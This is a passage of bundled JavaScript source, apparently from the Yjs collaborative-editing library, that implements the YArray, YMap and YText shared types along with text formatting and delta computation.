5999 * @template {Object<string,any>|Array<any>|number|null|string|Uint8Array} T
6000 * @param {Array<T>} items
6001 * @return {YArray<T>}
6002 */
6003 static from(items2) {
6004 const a = new _YArray();
6005 a.push(items2);
6006 return a;
6007 }
6008 /**
6009 * Integrate this type into the Yjs instance.
6010 *
6011 * * Save this struct in the os
6012 * * This type is sent to other client
6013 * * Observer functions are fired
6014 *
6015 * @param {Doc} y The Yjs instance
6016 * @param {Item} item
6017 */
6018 _integrate(y, item) {
6019 super._integrate(y, item);
6020 this.insert(
6021 0,
6022 /** @type {Array<any>} */
6023 this._prelimContent
6024 );
6025 this._prelimContent = null;
6026 }
6027 /**
6028 * @return {YArray<T>}
6029 */
6030 _copy() {
6031 return new _YArray();
6032 }
6033 /**
6034 * Makes a copy of this data type that can be included somewhere else.
6035 *
6036 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
6037 *
6038 * @return {YArray<T>}
6039 */
6040 clone() {
6041 const arr = new _YArray();
6042 arr.insert(0, this.toArray().map(
6043 (el) => el instanceof AbstractType ? (
6044 /** @type {typeof el} */
6045 el.clone()
6046 ) : el
6047 ));
6048 return arr;
6049 }
6050 get length() {
6051 this.doc ?? warnPrematureAccess();
6052 return this._length;
6053 }
6054 /**
6055 * Creates YArrayEvent and calls observers.
6056 *
6057 * @param {Transaction} transaction
6058 * @param {Set<null|string>} parentSubs Keys changed on this type. `null` if list was modified.
6059 */
6060 _callObserver(transaction, parentSubs) {
6061 super._callObserver(transaction, parentSubs);
6062 callTypeObservers(this, transaction, new YArrayEvent(this, transaction));
6063 }
6064 /**
6065 * Inserts new content at an index.
6066 *
6067 * Important: This function expects an array of content. Not just a content
6068 * object. The reason for this "weirdness" is that inserting several elements
6069 * is very efficient when it is done as a single operation.
6070 *
6071 * @example
6072 * // Insert character 'a' at position 0
6073 * yarray.insert(0, ['a'])
6074 * // Insert numbers 1, 2 at position 1
6075 * yarray.insert(1, [1, 2])
6076 *
6077 * @param {number} index The index to insert content at.
6078 * @param {Array<T>} content The array of content
6079 */
6080 insert(index, content) {
6081 if (this.doc !== null) {
6082 transact(this.doc, (transaction) => {
6083 typeListInsertGenerics(
6084 transaction,
6085 this,
6086 index,
6087 /** @type {any} */
6088 content
6089 );
6090 });
6091 } else {
6092 this._prelimContent.splice(index, 0, ...content);
6093 }
6094 }
6095 /**
6096 * Appends content to this YArray.
6097 *
6098 * @param {Array<T>} content Array of content to append.
6099 *
6100 * @todo Use the following implementation in all types.
6101 */
6102 push(content) {
6103 if (this.doc !== null) {
6104 transact(this.doc, (transaction) => {
6105 typeListPushGenerics(
6106 transaction,
6107 this,
6108 /** @type {any} */
6109 content
6110 );
6111 });
6112 } else {
6113 this._prelimContent.push(...content);
6114 }
6115 }
6116 /**
6117 * Prepends content to this YArray.
6118 *
6119 * @param {Array<T>} content Array of content to prepend.
6120 */
6121 unshift(content) {
6122 this.insert(0, content);
6123 }
6124 /**
6125 * Deletes elements starting from an index.
6126 *
6127 * @param {number} index Index at which to start deleting elements
6128 * @param {number} length The number of elements to remove. Defaults to 1.
6129 */
6130 delete(index, length3 = 1) {
6131 if (this.doc !== null) {
6132 transact(this.doc, (transaction) => {
6133 typeListDelete(transaction, this, index, length3);
6134 });
6135 } else {
6136 this._prelimContent.splice(index, length3);
6137 }
6138 }
6139 /**
6140 * Returns the i-th element from a YArray.
6141 *
6142 * @param {number} index The index of the element to return from the YArray
6143 * @return {T}
6144 */
6145 get(index) {
6146 return typeListGet(this, index);
6147 }
6148 /**
6149 * Transforms this YArray to a JavaScript Array.
6150 *
6151 * @return {Array<T>}
6152 */
6153 toArray() {
6154 return typeListToArray(this);
6155 }
6156 /**
6157 * Returns a portion of this YArray into a JavaScript Array selected
6158 * from start to end (end not included).
6159 *
6160 * @param {number} [start]
6161 * @param {number} [end]
6162 * @return {Array<T>}
6163 */
6164 slice(start = 0, end = this.length) {
6165 return typeListSlice(this, start, end);
6166 }
6167 /**
6168 * Transforms this Shared Type to a JSON object.
6169 *
6170 * @return {Array<any>}
6171 */
6172 toJSON() {
6173 return this.map((c) => c instanceof AbstractType ? c.toJSON() : c);
6174 }
6175 /**
6176 * Returns an Array with the result of calling a provided function on every
6177 * element of this YArray.
6178 *
6179 * @template M
6180 * @param {function(T,number,YArray<T>):M} f Function that produces an element of the new Array
6181 * @return {Array<M>} A new array with each element being the result of the
6182 * callback function
6183 */
6184 map(f) {
6185 return typeListMap(
6186 this,
6187 /** @type {any} */
6188 f
6189 );
6190 }
6191 /**
6192 * Executes a provided function once on every element of this YArray.
6193 *
6194 * @param {function(T,number,YArray<T>):void} f A function to execute on every element of this YArray.
6195 */
6196 forEach(f) {
6197 typeListForEach(this, f);
6198 }
6199 /**
6200 * @return {IterableIterator<T>}
6201 */
6202 [Symbol.iterator]() {
6203 return typeListCreateIterator(this);
6204 }
6205 /**
6206 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
6207 */
6208 _write(encoder) {
6209 encoder.writeTypeRef(YArrayRefID);
6210 }
6211 };
6212 var readYArray = (_decoder) => new YArray();
6213 var YMapEvent = class extends YEvent {
6214 /**
6215 * @param {YMap<T>} ymap The YArray that changed.
6216 * @param {Transaction} transaction
6217 * @param {Set<any>} subs The keys that changed.
6218 */
6219 constructor(ymap, transaction, subs) {
6220 super(ymap, transaction);
6221 this.keysChanged = subs;
6222 }
6223 };
6224 var YMap = class _YMap extends AbstractType {
6225 /**
6226 *
6227 * @param {Iterable<readonly [string, any]>=} entries - an optional iterable to initialize the YMap
6228 */
6229 constructor(entries) {
6230 super();
6231 this._prelimContent = null;
6232 if (entries === void 0) {
6233 this._prelimContent = /* @__PURE__ */ new Map();
6234 } else {
6235 this._prelimContent = new Map(entries);
6236 }
6237 }
6238 /**
6239 * Integrate this type into the Yjs instance.
6240 *
6241 * * Save this struct in the os
6242 * * This type is sent to other client
6243 * * Observer functions are fired
6244 *
6245 * @param {Doc} y The Yjs instance
6246 * @param {Item} item
6247 */
6248 _integrate(y, item) {
6249 super._integrate(y, item);
6250 this._prelimContent.forEach((value, key) => {
6251 this.set(key, value);
6252 });
6253 this._prelimContent = null;
6254 }
6255 /**
6256 * @return {YMap<MapType>}
6257 */
6258 _copy() {
6259 return new _YMap();
6260 }
6261 /**
6262 * Makes a copy of this data type that can be included somewhere else.
6263 *
6264 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
6265 *
6266 * @return {YMap<MapType>}
6267 */
6268 clone() {
6269 const map2 = new _YMap();
6270 this.forEach((value, key) => {
6271 map2.set(key, value instanceof AbstractType ? (
6272 /** @type {typeof value} */
6273 value.clone()
6274 ) : value);
6275 });
6276 return map2;
6277 }
6278 /**
6279 * Creates YMapEvent and calls observers.
6280 *
6281 * @param {Transaction} transaction
6282 * @param {Set<null|string>} parentSubs Keys changed on this type. `null` if list was modified.
6283 */
6284 _callObserver(transaction, parentSubs) {
6285 callTypeObservers(this, transaction, new YMapEvent(this, transaction, parentSubs));
6286 }
6287 /**
6288 * Transforms this Shared Type to a JSON object.
6289 *
6290 * @return {Object<string,any>}
6291 */
6292 toJSON() {
6293 this.doc ?? warnPrematureAccess();
6294 const map2 = {};
6295 this._map.forEach((item, key) => {
6296 if (!item.deleted) {
6297 const v = item.content.getContent()[item.length - 1];
6298 map2[key] = v instanceof AbstractType ? v.toJSON() : v;
6299 }
6300 });
6301 return map2;
6302 }
6303 /**
6304 * Returns the size of the YMap (count of key/value pairs)
6305 *
6306 * @return {number}
6307 */
6308 get size() {
6309 return [...createMapIterator(this)].length;
6310 }
6311 /**
6312 * Returns the keys for each element in the YMap Type.
6313 *
6314 * @return {IterableIterator<string>}
6315 */
6316 keys() {
6317 return iteratorMap(
6318 createMapIterator(this),
6319 /** @param {any} v */
6320 (v) => v[0]
6321 );
6322 }
6323 /**
6324 * Returns the values for each element in the YMap Type.
6325 *
6326 * @return {IterableIterator<MapType>}
6327 */
6328 values() {
6329 return iteratorMap(
6330 createMapIterator(this),
6331 /** @param {any} v */
6332 (v) => v[1].content.getContent()[v[1].length - 1]
6333 );
6334 }
6335 /**
6336 * Returns an Iterator of [key, value] pairs
6337 *
6338 * @return {IterableIterator<[string, MapType]>}
6339 */
6340 entries() {
6341 return iteratorMap(
6342 createMapIterator(this),
6343 /** @param {any} v */
6344 (v) => (
6345 /** @type {any} */
6346 [v[0], v[1].content.getContent()[v[1].length - 1]]
6347 )
6348 );
6349 }
6350 /**
6351 * Executes a provided function on once on every key-value pair.
6352 *
6353 * @param {function(MapType,string,YMap<MapType>):void} f A function to execute on every element of this YArray.
6354 */
6355 forEach(f) {
6356 this.doc ?? warnPrematureAccess();
6357 this._map.forEach((item, key) => {
6358 if (!item.deleted) {
6359 f(item.content.getContent()[item.length - 1], key, this);
6360 }
6361 });
6362 }
6363 /**
6364 * Returns an Iterator of [key, value] pairs
6365 *
6366 * @return {IterableIterator<[string, MapType]>}
6367 */
6368 [Symbol.iterator]() {
6369 return this.entries();
6370 }
6371 /**
6372 * Remove a specified element from this YMap.
6373 *
6374 * @param {string} key The key of the element to remove.
6375 */
6376 delete(key) {
6377 if (this.doc !== null) {
6378 transact(this.doc, (transaction) => {
6379 typeMapDelete(transaction, this, key);
6380 });
6381 } else {
6382 this._prelimContent.delete(key);
6383 }
6384 }
6385 /**
6386 * Adds or updates an element with a specified key and value.
6387 * @template {MapType} VAL
6388 *
6389 * @param {string} key The key of the element to add to this YMap
6390 * @param {VAL} value The value of the element to add
6391 * @return {VAL}
6392 */
6393 set(key, value) {
6394 if (this.doc !== null) {
6395 transact(this.doc, (transaction) => {
6396 typeMapSet(
6397 transaction,
6398 this,
6399 key,
6400 /** @type {any} */
6401 value
6402 );
6403 });
6404 } else {
6405 this._prelimContent.set(key, value);
6406 }
6407 return value;
6408 }
6409 /**
6410 * Returns a specified element from this YMap.
6411 *
6412 * @param {string} key
6413 * @return {MapType|undefined}
6414 */
6415 get(key) {
6416 return (
6417 /** @type {any} */
6418 typeMapGet(this, key)
6419 );
6420 }
6421 /**
6422 * Returns a boolean indicating whether the specified key exists or not.
6423 *
6424 * @param {string} key The key to test.
6425 * @return {boolean}
6426 */
6427 has(key) {
6428 return typeMapHas(this, key);
6429 }
6430 /**
6431 * Removes all elements from this YMap.
6432 */
6433 clear() {
6434 if (this.doc !== null) {
6435 transact(this.doc, (transaction) => {
6436 this.forEach(function(_value, key, map2) {
6437 typeMapDelete(transaction, map2, key);
6438 });
6439 });
6440 } else {
6441 this._prelimContent.clear();
6442 }
6443 }
6444 /**
6445 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
6446 */
6447 _write(encoder) {
6448 encoder.writeTypeRef(YMapRefID);
6449 }
6450 };
6451 var readYMap = (_decoder) => new YMap();
6452 var equalAttrs = (a, b) => a === b || typeof a === "object" && typeof b === "object" && a && b && equalFlat(a, b);
6453 var ItemTextListPosition = class {
6454 /**
6455 * @param {Item|null} left
6456 * @param {Item|null} right
6457 * @param {number} index
6458 * @param {Map<string,any>} currentAttributes
6459 */
6460 constructor(left, right, index, currentAttributes) {
6461 this.left = left;
6462 this.right = right;
6463 this.index = index;
6464 this.currentAttributes = currentAttributes;
6465 }
6466 /**
6467 * Only call this if you know that this.right is defined
6468 */
6469 forward() {
6470 if (this.right === null) {
6471 unexpectedCase();
6472 }
6473 switch (this.right.content.constructor) {
6474 case ContentFormat:
6475 if (!this.right.deleted) {
6476 updateCurrentAttributes(
6477 this.currentAttributes,
6478 /** @type {ContentFormat} */
6479 this.right.content
6480 );
6481 }
6482 break;
6483 default:
6484 if (!this.right.deleted) {
6485 this.index += this.right.length;
6486 }
6487 break;
6488 }
6489 this.left = this.right;
6490 this.right = this.right.right;
6491 }
6492 };
6493 var findNextPosition = (transaction, pos, count) => {
6494 while (pos.right !== null && count > 0) {
6495 switch (pos.right.content.constructor) {
6496 case ContentFormat:
6497 if (!pos.right.deleted) {
6498 updateCurrentAttributes(
6499 pos.currentAttributes,
6500 /** @type {ContentFormat} */
6501 pos.right.content
6502 );
6503 }
6504 break;
6505 default:
6506 if (!pos.right.deleted) {
6507 if (count < pos.right.length) {
6508 getItemCleanStart(transaction, createID(pos.right.id.client, pos.right.id.clock + count));
6509 }
6510 pos.index += pos.right.length;
6511 count -= pos.right.length;
6512 }
6513 break;
6514 }
6515 pos.left = pos.right;
6516 pos.right = pos.right.right;
6517 }
6518 return pos;
6519 };
6520 var findPosition = (transaction, parent, index, useSearchMarker) => {
6521 const currentAttributes = /* @__PURE__ */ new Map();
6522 const marker = useSearchMarker ? findMarker(parent, index) : null;
6523 if (marker) {
6524 const pos = new ItemTextListPosition(marker.p.left, marker.p, marker.index, currentAttributes);
6525 return findNextPosition(transaction, pos, index - marker.index);
6526 } else {
6527 const pos = new ItemTextListPosition(null, parent._start, 0, currentAttributes);
6528 return findNextPosition(transaction, pos, index);
6529 }
6530 };
6531 var insertNegatedAttributes = (transaction, parent, currPos, negatedAttributes) => {
6532 while (currPos.right !== null && (currPos.right.deleted === true || currPos.right.content.constructor === ContentFormat && equalAttrs(
6533 negatedAttributes.get(
6534 /** @type {ContentFormat} */
6535 currPos.right.content.key
6536 ),
6537 /** @type {ContentFormat} */
6538 currPos.right.content.value
6539 ))) {
6540 if (!currPos.right.deleted) {
6541 negatedAttributes.delete(
6542 /** @type {ContentFormat} */
6543 currPos.right.content.key
6544 );
6545 }
6546 currPos.forward();
6547 }
6548 const doc2 = transaction.doc;
6549 const ownClientId = doc2.clientID;
6550 negatedAttributes.forEach((val, key) => {
6551 const left = currPos.left;
6552 const right = currPos.right;
6553 const nextFormat = new Item(createID(ownClientId, getState(doc2.store, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, new ContentFormat(key, val));
6554 nextFormat.integrate(transaction, 0);
6555 currPos.right = nextFormat;
6556 currPos.forward();
6557 });
6558 };
6559 var updateCurrentAttributes = (currentAttributes, format) => {
6560 const { key, value } = format;
6561 if (value === null) {
6562 currentAttributes.delete(key);
6563 } else {
6564 currentAttributes.set(key, value);
6565 }
6566 };
6567 var minimizeAttributeChanges = (currPos, attributes) => {
6568 while (true) {
6569 if (currPos.right === null) {
6570 break;
6571 } else if (currPos.right.deleted || currPos.right.content.constructor === ContentFormat && equalAttrs(
6572 attributes[
6573 /** @type {ContentFormat} */
6574 currPos.right.content.key
6575 ] ?? null,
6576 /** @type {ContentFormat} */
6577 currPos.right.content.value
6578 )) ;
6579 else {
6580 break;
6581 }
6582 currPos.forward();
6583 }
6584 };
6585 var insertAttributes = (transaction, parent, currPos, attributes) => {
6586 const doc2 = transaction.doc;
6587 const ownClientId = doc2.clientID;
6588 const negatedAttributes = /* @__PURE__ */ new Map();
6589 for (const key in attributes) {
6590 const val = attributes[key];
6591 const currentVal = currPos.currentAttributes.get(key) ?? null;
6592 if (!equalAttrs(currentVal, val)) {
6593 negatedAttributes.set(key, currentVal);
6594 const { left, right } = currPos;
6595 currPos.right = new Item(createID(ownClientId, getState(doc2.store, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, new ContentFormat(key, val));
6596 currPos.right.integrate(transaction, 0);
6597 currPos.forward();
6598 }
6599 }
6600 return negatedAttributes;
6601 };
6602 var insertText = (transaction, parent, currPos, text2, attributes) => {
6603 currPos.currentAttributes.forEach((_val, key) => {
6604 if (attributes[key] === void 0) {
6605 attributes[key] = null;
6606 }
6607 });
6608 const doc2 = transaction.doc;
6609 const ownClientId = doc2.clientID;
6610 minimizeAttributeChanges(currPos, attributes);
6611 const negatedAttributes = insertAttributes(transaction, parent, currPos, attributes);
6612 const content = text2.constructor === String ? new ContentString(
6613 /** @type {string} */
6614 text2
6615 ) : text2 instanceof AbstractType ? new ContentType(text2) : new ContentEmbed(text2);
6616 let { left, right, index } = currPos;
6617 if (parent._searchMarker) {
6618 updateMarkerChanges(parent._searchMarker, currPos.index, content.getLength());
6619 }
6620 right = new Item(createID(ownClientId, getState(doc2.store, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, content);
6621 right.integrate(transaction, 0);
6622 currPos.right = right;
6623 currPos.index = index;
6624 currPos.forward();
6625 insertNegatedAttributes(transaction, parent, currPos, negatedAttributes);
6626 };
6627 var formatText = (transaction, parent, currPos, length3, attributes) => {
6628 const doc2 = transaction.doc;
6629 const ownClientId = doc2.clientID;
6630 minimizeAttributeChanges(currPos, attributes);
6631 const negatedAttributes = insertAttributes(transaction, parent, currPos, attributes);
6632 iterationLoop: while (currPos.right !== null && (length3 > 0 || negatedAttributes.size > 0 && (currPos.right.deleted || currPos.right.content.constructor === ContentFormat))) {
6633 if (!currPos.right.deleted) {
6634 switch (currPos.right.content.constructor) {
6635 case ContentFormat: {
6636 const { key, value } = (
6637 /** @type {ContentFormat} */
6638 currPos.right.content
6639 );
6640 const attr = attributes[key];
6641 if (attr !== void 0) {
6642 if (equalAttrs(attr, value)) {
6643 negatedAttributes.delete(key);
6644 } else {
6645 if (length3 === 0) {
6646 break iterationLoop;
6647 }
6648 negatedAttributes.set(key, value);
6649 }
6650 currPos.right.delete(transaction);
6651 } else {
6652 currPos.currentAttributes.set(key, value);
6653 }
6654 break;
6655 }
6656 default:
6657 if (length3 < currPos.right.length) {
6658 getItemCleanStart(transaction, createID(currPos.right.id.client, currPos.right.id.clock + length3));
6659 }
6660 length3 -= currPos.right.length;
6661 break;
6662 }
6663 }
6664 currPos.forward();
6665 }
6666 if (length3 > 0) {
6667 let newlines = "";
6668 for (; length3 > 0; length3--) {
6669 newlines += "\n";
6670 }
6671 currPos.right = new Item(createID(ownClientId, getState(doc2.store, ownClientId)), currPos.left, currPos.left && currPos.left.lastId, currPos.right, currPos.right && currPos.right.id, parent, null, new ContentString(newlines));
6672 currPos.right.integrate(transaction, 0);
6673 currPos.forward();
6674 }
6675 insertNegatedAttributes(transaction, parent, currPos, negatedAttributes);
6676 };
6677 var cleanupFormattingGap = (transaction, start, curr, startAttributes, currAttributes) => {
6678 let end = start;
6679 const endFormats = create();
6680 while (end && (!end.countable || end.deleted)) {
6681 if (!end.deleted && end.content.constructor === ContentFormat) {
6682 const cf = (
6683 /** @type {ContentFormat} */
6684 end.content
6685 );
6686 endFormats.set(cf.key, cf);
6687 }
6688 end = end.right;
6689 }
6690 let cleanups = 0;
6691 let reachedCurr = false;
6692 while (start !== end) {
6693 if (curr === start) {
6694 reachedCurr = true;
6695 }
6696 if (!start.deleted) {
6697 const content = start.content;
6698 switch (content.constructor) {
6699 case ContentFormat: {
6700 const { key, value } = (
6701 /** @type {ContentFormat} */
6702 content
6703 );
6704 const startAttrValue = startAttributes.get(key) ?? null;
6705 if (endFormats.get(key) !== content || startAttrValue === value) {
6706 start.delete(transaction);
6707 cleanups++;
6708 if (!reachedCurr && (currAttributes.get(key) ?? null) === value && startAttrValue !== value) {
6709 if (startAttrValue === null) {
6710 currAttributes.delete(key);
6711 } else {
6712 currAttributes.set(key, startAttrValue);
6713 }
6714 }
6715 }
6716 if (!reachedCurr && !start.deleted) {
6717 updateCurrentAttributes(
6718 currAttributes,
6719 /** @type {ContentFormat} */
6720 content
6721 );
6722 }
6723 break;
6724 }
6725 }
6726 }
6727 start = /** @type {Item} */
6728 start.right;
6729 }
6730 return cleanups;
6731 };
6732 var cleanupContextlessFormattingGap = (transaction, item) => {
6733 while (item && item.right && (item.right.deleted || !item.right.countable)) {
6734 item = item.right;
6735 }
6736 const attrs = /* @__PURE__ */ new Set();
6737 while (item && (item.deleted || !item.countable)) {
6738 if (!item.deleted && item.content.constructor === ContentFormat) {
6739 const key = (
6740 /** @type {ContentFormat} */
6741 item.content.key
6742 );
6743 if (attrs.has(key)) {
6744 item.delete(transaction);
6745 } else {
6746 attrs.add(key);
6747 }
6748 }
6749 item = item.left;
6750 }
6751 };
6752 var cleanupYTextFormatting = (type) => {
6753 let res = 0;
6754 transact(
6755 /** @type {Doc} */
6756 type.doc,
6757 (transaction) => {
6758 let start = (
6759 /** @type {Item} */
6760 type._start
6761 );
6762 let end = type._start;
6763 let startAttributes = create();
6764 const currentAttributes = copy(startAttributes);
6765 while (end) {
6766 if (end.deleted === false) {
6767 switch (end.content.constructor) {
6768 case ContentFormat:
6769 updateCurrentAttributes(
6770 currentAttributes,
6771 /** @type {ContentFormat} */
6772 end.content
6773 );
6774 break;
6775 default:
6776 res += cleanupFormattingGap(transaction, start, end, startAttributes, currentAttributes);
6777 startAttributes = copy(currentAttributes);
6778 start = end;
6779 break;
6780 }
6781 }
6782 end = end.right;
6783 }
6784 }
6785 );
6786 return res;
6787 };
6788 var cleanupYTextAfterTransaction = (transaction) => {
6789 const needFullCleanup = /* @__PURE__ */ new Set();
6790 const doc2 = transaction.doc;
6791 for (const [client, afterClock] of transaction.afterState.entries()) {
6792 const clock = transaction.beforeState.get(client) || 0;
6793 if (afterClock === clock) {
6794 continue;
6795 }
6796 iterateStructs(
6797 transaction,
6798 /** @type {Array<Item|GC>} */
6799 doc2.store.clients.get(client),
6800 clock,
6801 afterClock,
6802 (item) => {
6803 if (!item.deleted && /** @type {Item} */
6804 item.content.constructor === ContentFormat && item.constructor !== GC) {
6805 needFullCleanup.add(
6806 /** @type {any} */
6807 item.parent
6808 );
6809 }
6810 }
6811 );
6812 }
6813 transact(doc2, (t) => {
6814 iterateDeletedStructs(transaction, transaction.deleteSet, (item) => {
6815 if (item instanceof GC || !/** @type {YText} */
6816 item.parent._hasFormatting || needFullCleanup.has(
6817 /** @type {YText} */
6818 item.parent
6819 )) {
6820 return;
6821 }
6822 const parent = (
6823 /** @type {YText} */
6824 item.parent
6825 );
6826 if (item.content.constructor === ContentFormat) {
6827 needFullCleanup.add(parent);
6828 } else {
6829 cleanupContextlessFormattingGap(t, item);
6830 }
6831 });
6832 for (const yText of needFullCleanup) {
6833 cleanupYTextFormatting(yText);
6834 }
6835 });
6836 };
6837 var deleteText = (transaction, currPos, length3) => {
6838 const startLength = length3;
6839 const startAttrs = copy(currPos.currentAttributes);
6840 const start = currPos.right;
6841 while (length3 > 0 && currPos.right !== null) {
6842 if (currPos.right.deleted === false) {
6843 switch (currPos.right.content.constructor) {
6844 case ContentType:
6845 case ContentEmbed:
6846 case ContentString:
6847 if (length3 < currPos.right.length) {
6848 getItemCleanStart(transaction, createID(currPos.right.id.client, currPos.right.id.clock + length3));
6849 }
6850 length3 -= currPos.right.length;
6851 currPos.right.delete(transaction);
6852 break;
6853 }
6854 }
6855 currPos.forward();
6856 }
6857 if (start) {
6858 cleanupFormattingGap(transaction, start, currPos.right, startAttrs, currPos.currentAttributes);
6859 }
6860 const parent = (
6861 /** @type {AbstractType<any>} */
6862 /** @type {Item} */
6863 (currPos.left || currPos.right).parent
6864 );
6865 if (parent._searchMarker) {
6866 updateMarkerChanges(parent._searchMarker, currPos.index, -startLength + length3);
6867 }
6868 return currPos;
6869 };
6870 var YTextEvent = class extends YEvent {
6871 /**
6872 * @param {YText} ytext
6873 * @param {Transaction} transaction
6874 * @param {Set<any>} subs The keys that changed
6875 */
6876 constructor(ytext, transaction, subs) {
6877 super(ytext, transaction);
6878 this.childListChanged = false;
6879 this.keysChanged = /* @__PURE__ */ new Set();
6880 subs.forEach((sub) => {
6881 if (sub === null) {
6882 this.childListChanged = true;
6883 } else {
6884 this.keysChanged.add(sub);
6885 }
6886 });
6887 }
6888 /**
6889 * @type {{added:Set<Item>,deleted:Set<Item>,keys:Map<string,{action:'add'|'update'|'delete',oldValue:any}>,delta:Array<{insert?:Array<any>|string, delete?:number, retain?:number}>}}
6890 */
6891 get changes() {
6892 if (this._changes === null) {
6893 const changes = {
6894 keys: this.keys,
6895 delta: this.delta,
6896 added: /* @__PURE__ */ new Set(),
6897 deleted: /* @__PURE__ */ new Set()
6898 };
6899 this._changes = changes;
6900 }
6901 return (
6902 /** @type {any} */
6903 this._changes
6904 );
6905 }
6906 /**
6907 * Compute the changes in the delta format.
6908 * A {@link https://quilljs.com/docs/delta/|Quill Delta}) that represents the changes on the document.
6909 *
6910 * @type {Array<{insert?:string|object|AbstractType<any>, delete?:number, retain?:number, attributes?: Object<string,any>}>}
6911 *
6912 * @public
6913 */
6914 get delta() {
6915 if (this._delta === null) {
6916 const y = (
6917 /** @type {Doc} */
6918 this.target.doc
6919 );
6920 const delta = [];
6921 transact(y, (transaction) => {
6922 const currentAttributes = /* @__PURE__ */ new Map();
6923 const oldAttributes = /* @__PURE__ */ new Map();
6924 let item = this.target._start;
6925 let action = null;
6926 const attributes = {};
6927 let insert2 = "";
6928 let retain = 0;
6929 let deleteLen = 0;
6930 const addOp = () => {
6931 if (action !== null) {
6932 let op = null;
6933 switch (action) {
6934 case "delete":
6935 if (deleteLen > 0) {
6936 op = { delete: deleteLen };
6937 }
6938 deleteLen = 0;
6939 break;
6940 case "insert":
6941 if (typeof insert2 === "object" || insert2.length > 0) {
6942 op = { insert: insert2 };
6943 if (currentAttributes.size > 0) {
6944 op.attributes = {};
6945 currentAttributes.forEach((value, key) => {
6946 if (value !== null) {
6947 op.attributes[key] = value;
6948 }
6949 });
6950 }
6951 }
6952 insert2 = "";
6953 break;
6954 case "retain":
6955 if (retain > 0) {
6956 op = { retain };
6957 if (!isEmpty(attributes)) {
6958 op.attributes = assign({}, attributes);
6959 }
6960 }
6961 retain = 0;
6962 break;
6963 }
6964 if (op) delta.push(op);
6965 action = null;
6966 }
6967 };
6968 while (item !== null) {
6969 switch (item.content.constructor) {
6970 case ContentType:
6971 case ContentEmbed:
6972 if (this.adds(item)) {
6973 if (!this.deletes(item)) {
6974 addOp();
6975 action = "insert";
6976 insert2 = item.content.getContent()[0];
6977 addOp();
6978 }
6979 } else if (this.deletes(item)) {
6980 if (action !== "delete") {
6981 addOp();
6982 action = "delete";
6983 }
6984 deleteLen += 1;
6985 } else if (!item.deleted) {
6986 if (action !== "retain") {
6987 addOp();
6988 action = "retain";
6989 }
6990 retain += 1;
6991 }
6992 break;
6993 case ContentString:
6994 if (this.adds(item)) {
6995 if (!this.deletes(item)) {
6996 if (action !== "insert") {
6997 addOp();
6998 action = "insert";
6999 }
7000 insert2 += /** @type {ContentString} */
7001 item.content.str;
7002 }
7003 } else if (this.deletes(item)) {
7004 if (action !== "delete") {
7005 addOp();
7006 action = "delete";
7007 }
7008 deleteLen += item.length;
7009 } else if (!item.deleted) {
7010 if (action !== "retain") {
7011 addOp();
7012 action = "retain";
7013 }
7014 retain += item.length;
7015 }
7016 break;
7017 case ContentFormat: {
7018 const { key, value } = (
7019 /** @type {ContentFormat} */
7020 item.content
7021 );
7022 if (this.adds(item)) {
7023 if (!this.deletes(item)) {
7024 const curVal = currentAttributes.get(key) ?? null;
7025 if (!equalAttrs(curVal, value)) {
7026 if (action === "retain") {
7027 addOp();
7028 }
7029 if (equalAttrs(value, oldAttributes.get(key) ?? null)) {
7030 delete attributes[key];
7031 } else {
7032 attributes[key] = value;
7033 }
7034 } else if (value !== null) {
7035 item.delete(transaction);
7036 }
7037 }
7038 } else if (this.deletes(item)) {
7039 oldAttributes.set(key, value);
7040 const curVal = currentAttributes.get(key) ?? null;
7041 if (!equalAttrs(curVal, value)) {
7042 if (action === "retain") {
7043 addOp();
7044 }
7045 attributes[key] = curVal;
7046 }
7047 } else if (!item.deleted) {
7048 oldAttributes.set(key, value);
7049 const attr = attributes[key];
7050 if (attr !== void 0) {
7051 if (!equalAttrs(attr, value)) {
7052 if (action === "retain") {
7053 addOp();
7054 }
7055 if (value === null) {
7056 delete attributes[key];
7057 } else {
7058 attributes[key] = value;
7059 }
7060 } else if (attr !== null) {
7061 item.delete(transaction);
7062 }
7063 }
7064 }
7065 if (!item.deleted) {
7066 if (action === "insert") {
7067 addOp();
7068 }
7069 updateCurrentAttributes(
7070 currentAttributes,
7071 /** @type {ContentFormat} */
7072 item.content
7073 );
7074 }
7075 break;
7076 }
7077 }
7078 item = item.right;
7079 }
7080 addOp();
7081 while (delta.length > 0) {
7082 const lastOp = delta[delta.length - 1];
7083 if (lastOp.retain !== void 0 && lastOp.attributes === void 0) {
7084 delta.pop();
7085 } else {
7086 break;
7087 }
7088 }
7089 });
7090 this._delta = delta;
7091 }
7092 return (
7093 /** @type {any} */
7094 this._delta
7095 );
7096 }
7097 };
7098 var YText = class _YText extends AbstractType {
7099 /**
7100 * @param {String} [string] The initial value of the YText.
7101 */
7102 constructor(string) {
7103 super();
7104 this._pending = string !== void 0 ? [() => this.insert(0, string)] : [];
7105 this._searchMarker = [];
7106 this._hasFormatting = false;
7107 }
7108 /**
7109 * Number of characters of this text type.
7110 *
7111 * @type {number}
7112 */
7113 get length() {
7114 this.doc ?? warnPrematureAccess();
7115 return this._length;
7116 }
7117 /**
7118 * @param {Doc} y
7119 * @param {Item} item
7120 */
7121 _integrate(y, item) {
7122 super._integrate(y, item);
7123 try {
7124 this._pending.forEach((f) => f());
7125 } catch (e) {
7126 console.error(e);
7127 }
7128 this._pending = null;
7129 }
7130 _copy() {
7131 return new _YText();
7132 }
7133 /**
7134 * Makes a copy of this data type that can be included somewhere else.
7135 *
7136 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
7137 *
7138 * @return {YText}
7139 */
7140 clone() {
7141 const text2 = new _YText();
7142 text2.applyDelta(this.toDelta());
7143 return text2;
7144 }
7145 /**
7146 * Creates YTextEvent and calls observers.
7147 *
7148 * @param {Transaction} transaction
7149 * @param {Set<null|string>} parentSubs Keys changed on this type. `null` if list was modified.
7150 */
7151 _callObserver(transaction, parentSubs) {
7152 super._callObserver(transaction, parentSubs);
7153 const event = new YTextEvent(this, transaction, parentSubs);
7154 callTypeObservers(this, transaction, event);
7155 if (!transaction.local && this._hasFormatting) {
7156 transaction._needFormattingCleanup = true;
7157 }
7158 }
7159 /**
7160 * Returns the unformatted string representation of this YText type.
7161 *
7162 * @public
7163 */
7164 toString() {
